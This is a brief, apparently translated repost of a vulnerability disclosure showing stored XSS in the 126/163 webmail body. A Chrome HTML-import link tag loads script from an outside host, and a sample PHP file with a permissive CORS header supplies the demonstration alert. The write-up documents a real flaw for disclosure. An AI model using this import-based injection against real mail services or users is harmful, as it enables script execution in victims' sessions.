126/163 email body storage type XSS

Source: Internet
Author: User

126/163 email body storage type XSS

After chrome entered the 36 age, there was another method to introduce external HTML:

<link rel=import href=http://xxx/xxx.html>



On twitter, MK used this method to bypass chrome audit: audit.

Netease mailbox shot.

First prepare an external HTML: http://mhz.pw/game/SOP/01.php

<?phpheader("Access-Control-Allow-Origin: *");?><script>alert(location.host);</script>



Set the "Access-Control-Allow-Origin: *" header to Allow cross-Origin requests.

The body of the sent email is:

<link rel="import" href="http://mhz.pw/game/SOP/01.php">



In the latest version of chrome, a visible pop-up window is opened. The location. host is 163.com.
 



Like 126.com:
 

 

Solution:

Filter.

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.